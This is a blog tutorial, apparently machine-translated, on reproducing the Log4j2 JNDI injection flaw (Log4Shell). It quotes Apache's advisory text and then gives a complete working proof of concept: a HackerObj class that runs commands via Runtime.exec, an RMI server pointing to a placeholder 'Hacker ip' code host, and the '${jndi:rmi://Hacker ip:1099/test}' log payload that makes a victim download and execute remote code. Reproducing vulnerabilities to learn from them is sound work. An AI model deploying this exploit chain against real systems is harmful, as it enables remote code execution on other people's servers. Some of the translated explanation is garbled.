Recently, Log4j2 was exposed to high-risk vulnerabilities. How to reproduce the vulnerabilities and what is the principle?

I believe the most you see is this picture. I typed the code and came out with a calculator

String source = "${jndi:rmi://Hacker IP:1099/test} ";
logger.error(source);

The above code will not print out the string as expected, "${jndi:rmi: / / hacker ip: port / test}". If the log is printed in your own machine, you will start the calculator tool in your own machine.

What is the principle of this phenomenon?

The key is these two:

1. log4j2 when printing logs, some strings will be executed as command name services.

2. log4j2 can download remote code through jndi:rmi and execute it on its own machine

The following is a detailed description:

Apache Log4j 2
Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback's architecture.


Important: Security Vulnerability CVE-2021-45046
The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.

Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.

Details
It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.

Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

The above is a description on the official website of apache. The log printing we used before is generally log4j, followed by logback. Of course, the default of springboot is logbac. Because logback is better than log4j in performance, and log4j2 is better than log4j and logback on the official website, many people later upgrade to log4j2. Of course, it seems that the authors of these are the same God.

Back to our question, why does this problem occur, or does log4j2 on the official website provide some configuration information for users to query

As can be seen from the above figure, log4j2{logger Info ("${java:hw}") can print out the server cpu information instead of the string "${java:hw}". You can see that this is similar to sql injection. Another key is log4j2. This function is realized through java lookup, that is, hackers can do this:

As can be seen from the above figure, the most critical place is the red deployment. The user machine will download the hacker's executable file and execute it on the user machine. This is the virus. The demo shown at the top is that the hacker lets the user execute the calculator tool on his machine.

If you want to experiment by yourself, you can refer to the following code, which refers to an online blog:

Original link: https://blog.csdn.net/lizz861109/article/details/121928916

Of course, this blog has not been realized rmi://127.0.0.1:1099/xxxx For this RMI service code, refer to:

Many programs on the p.s. Internet are incomplete or coded

​
//Step 1: create a hacker obj in the hacker machine java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("The hacker program was executed on this machine.");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//Step 2: put hacker obj in the hacker machine Java compiled into hacker obj Class, and then open an nginx to hackerobj Class so that it can be accessed on the network, such as http: / / hacker IP: 8080 / hackerobj class

p.s. HackerObj.java When creating, don't put package Inside, put package There seems to be a prompt when the user downloads it notfindclass,Study it again when you have time.

//step3: create a server Java starts the hacker rmi service

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http: / / hacker IP: 8080 / hackerobj class
        String url = "http://Hacker ip:8080 / "; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4: create a new client java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://Hacker ip:1099/test} ");
    }
}


// Execute client. On the user machine Java will find that "the hacker program is executed on this machine."
//When the user's machine prints out, the user's machine calculator tool is opened


//step5: log4j2 reproduction uses the following code
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://Hacker ip:1099/test} ");



​

summary

The key is these two:

1. log4j2 when printing logs, some strings will be executed as command name services.

2. log4j2 can download remote code through jndi:rmi and execute it on its own machine

Keywords: Java Apache

Added by bigtimslim on Thu, 16 Dec 2021 09:21:15 +0200